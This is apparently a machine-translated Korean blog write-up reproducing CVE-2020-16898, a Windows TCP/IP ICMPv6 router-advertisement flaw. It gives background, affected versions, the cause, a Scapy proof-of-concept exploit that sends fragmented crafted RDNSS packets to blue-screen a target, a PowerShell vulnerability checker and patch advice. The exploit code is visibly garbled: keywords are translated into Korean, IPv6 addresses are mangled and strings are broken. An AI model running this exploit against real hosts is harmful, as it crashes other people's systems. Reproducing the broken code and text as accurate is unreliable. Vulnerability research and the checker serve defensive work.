제목 : Windows TCP/IP (CVE-2020-16898) 원격 코드 실행 블루 스크린 취약점 재귀

0x00 漏洞背景​

2020 년 10 월 14 일, 모니터링은 Microsoft가 TCP/IP 원격 코드 실행 취약성에 대한 위험 통지를 발행 한 것을 발견했습니다. 이 취약점은 IMCPV6 라우터 광고 패킷을 처리 할 때 Windows TCP/IP 스택의 취약성으로 인해 발생했습니다. 원격 공격자는 특별히 제작 된 ICMPV6 라우터 광고 패킷을 구성하여 원격 BSOD를 유발할 수있는 원격 Windows 호스트로 보냈으며 취약점 번호는 CVE-2020-16898이었습니다.

0x01 影响版本​

운영 체제 버전 패치 테스트 Windows 10
x86/x64/arm64
1709

Windows 10
x86/x64/arm64
1803

Windows 10
x86/x64/arm64
1809

Windows 10
x86/x64/arm64
1903

Windows 10
x86/x64/arm64
1909

Windows 10
x86/x64/arm64
2004

Windows Server 2019
Windows Server 2019 (Server Core Edition)
Windows Server 1903 버전 (Server Core Edition)
Windows Server 버전 1909 (Server Core Edition)
Windows Server 2004 버전 (서버 코어 버전)

0x02 漏洞成因​

RFC5006 설명에 따르면 RDNSS 패키지의 길이는 이상해야합니다. 공격자가 제작 한 RDNSS 패키지의 길이가 짝수 일 때, Windows TCP/IP는 패킷 검사 프로세스 중 길이에 따라 각 패키지의 오프셋을 얻고 해상도를 가로 지르고 IPV6 재귀 DNS 서버의 주소 수단에서 오류가 발생하여 다음 RDNS 옵션 옵션을 통과하고 공격적 패키지를 바탕으로합니다. 시스템 충돌이 발생합니다.

0x03 漏洞复现​

공격 항공기 : Win10x64
대상 기계 : Windows 10x64_1709
1. vmware를 통해 희생자 호스트에서 IPv6 켜기
1049983-20201026093851032-1267701815.png
1049983-20201026093851533-867959393.png

2. CVE-2020-16898에서 IPv6 주소를 수정하십시오.이 스크립트는 각각 공격 기계의 원래 연결 IPv6 주소와 대상 기계 IPv6 주소입니다.
1049983-20201026093852105-277304902.png
1049983-20201026093852661-623439245.png
#!/usr/bin/env python3

# CVE-2020-16898 용 개념 증명/BSOD 익스플로잇 -Windows TCP/IP 원격 코드 실행 취약점

# Author: Adam 'Pi3'Zabrocki
# http://pi3.com.pl
Scapy에서 All Import *
scapy.layers.inet6 import icmpv6ndoptefa, icmpv6ndoptrdnss, icmpv6nd_ra, ipv6, ipv6exthdrfragment, fragment6
V6_DST='FD15:4BA533:5A2B:10083:9D3733333636D233333333333333336496'#TARGET 대상 기계 IPv6 주소
V6_SRC='FE803:EC1E:A7AA3333333:EC1E:A33333333336333333333367C6%13'#ATTACK 시스템 로컬 링크 IPv6 주소
p_test_half='a'.encode ()*8 + b'\ x18 \ x30 ' + b'\ xff \ x18 '
p_test=p_test_half + 'a'.encode ()*4
c=icmpv6ndoptefa ()
e=icmpv6ndoptrdnss ()
e.len=21
e.dns=[
'AAAA:AAAAAAAAAA3:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:AAAAA:AAAAAAAA33:AAAAAAAA:AAAA3:AAAAA', '
'AAAA:AAAAAAAA3:AAAAAAAAAAAAAAAAA:AAAAAAAAAAAAAAAAAAA3333333333333333333333333333333333333333333333333333333333333:AAAAA.
'AAAA:AAAAAAAA3:AAAAAAAAAAAAAAAAA:AAAAAAAAAAAAAAAAAAA3333333333333333333333333333333333333333333333333333333333333:AAAAA.
'AAAA:AAAAAAAA3:AAAAAAAAAAAAAAAAA:AAAAAAAAAAAAAAAAAAA3333333333333333333333333333333333333333333333333333333333333:AAAAA.
'AAAA:AAAAAAAA3:AAAAAAAAAAAAAAAAA:AAAAAAAAAAAAAAAAAAA3333333333333333333333333333333333333333333333333333333333333:AAAAA.
'AAAA:AAAAAAAA3:AAAAAAAAAAAAAAAAA:AAAAAAAAAAAAAAAAAAA3333333333333333333333333333333333333333333333333333333333333:AAAAA.
'AAAA:AAAAAAAA3:AAAAAAAAAAAAAAAAA:AAAAAAAAAAAAAAAAAAA3333333333333333333333333333333333333333333333333333333333333:AAAAA.
'AAAA:AAAAAAAA3:AAAAAAAAAAAAAAAAA:AAAAAAAAAAAAAAAAAAA3333333333333333333333333333333333333333333333333333333333333:AAAAA.
'AAAA:AAAAAAAA3:AAAAAAAAAAAAAAAAA:AAAAAAAAAAAAAAAAAAA3333333333333333333333333333333333333333333333333333333333333:AAAAA.
'AAAA:AAAAAAA3:AAAAAAAAAAAAAAAAAAAA:AAAAAAAAAAAAAAAAAA33333333333333333333333333333333333333333333333333333333333333:AAAAA
aaa=icmpv6ndoptrdnsss ()
aaa.len=8
pkt=icmpv6nd_ra ()/aaa/\
raw (load='a'.encode ()*16*2 + p_test_half + b'\ x18 \ xa0 '*6) /c/e/c/e/c/e/c/e/c/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e
p_test_frag=ipv6 (dst=v6_dst, src=v6_src, hlim=255)/\
ipv6exthdrfragment ()/pkt
l=fragment6 (p_test_frag, 200)
L:의 P의 경우
보내기 (p)
3. 마지막으로 PIP3 설치 명령을 사용하여 종속성 패키지를 설치하고 CVE-2020-16898.py를 실행하면 대상 시스템에 블루 스크린이 나타납니다.
1049983-20201026093853020-2019763768.png
1049983-20201026093853380-926132184.png

4. 로컬 점검 스크립트 : CVE-2020-16898_checker.ps1
######################################################### ##################################################################################################### ########################################YYY THET
### 14/10/2020- Cyril Pineiro/Synapsys -It에 의해 작성되었습니다
### 네트워크 인터페이스가 CVE-2020-16898 CVE-2020-16899에 취약한 지 확인
###은 인터페이스 인덱스 및 별칭을 반환합니다
######################################################### ##################################################################################################### ########################################YYY THET
분명한
$ interfaces=(get -netipinterface | 여기서 {$ _. addressFamily -eq 'IPv6'}). ifIndex
foreach ($ 인터페이스의 $ 인터페이스)
{
[bool] $ vuln=$ false
$ output=netsh int ipv6 sh 인터페이스 인터페이스=$ 인터페이스
foreach ($ line in $ output)
{
if ($ line.contains ( '6106') -및 $ line.contains ( 'enabled'))
{
[bool] $ vuln=$ true
}
}
$ netipinterfacealias=((get-netipaddress -interfaceindex $ interface | select-object interfacealias) [0])
if ($ vuln)
{
Write-Host 'Interface'$ ($ interface) ''$ ($ netipinterfacealias) '라는 CVE-2020-16898 CVE-2020-16899에 취약합니다.'-ForegroundColor Red
}
또 다른
{
Write-Host 'Interface'$ ($ interface) ''$ ($ netipinterfacealias) '라는 CVE-2020-16898 CVE-2020-16899에 취약하지 않습니다.'-ForegroundColor Green
}
}
1049983-20201026093853716-1588600505.png

0x04 漏洞修复​

다음 링크를 통해 운영 체제 버전과 직접 일치하는 취약성 패치 검색 및 패치를 다운로드하여 설치하십시오.

0x05 参考地址​

 
뒤로
상단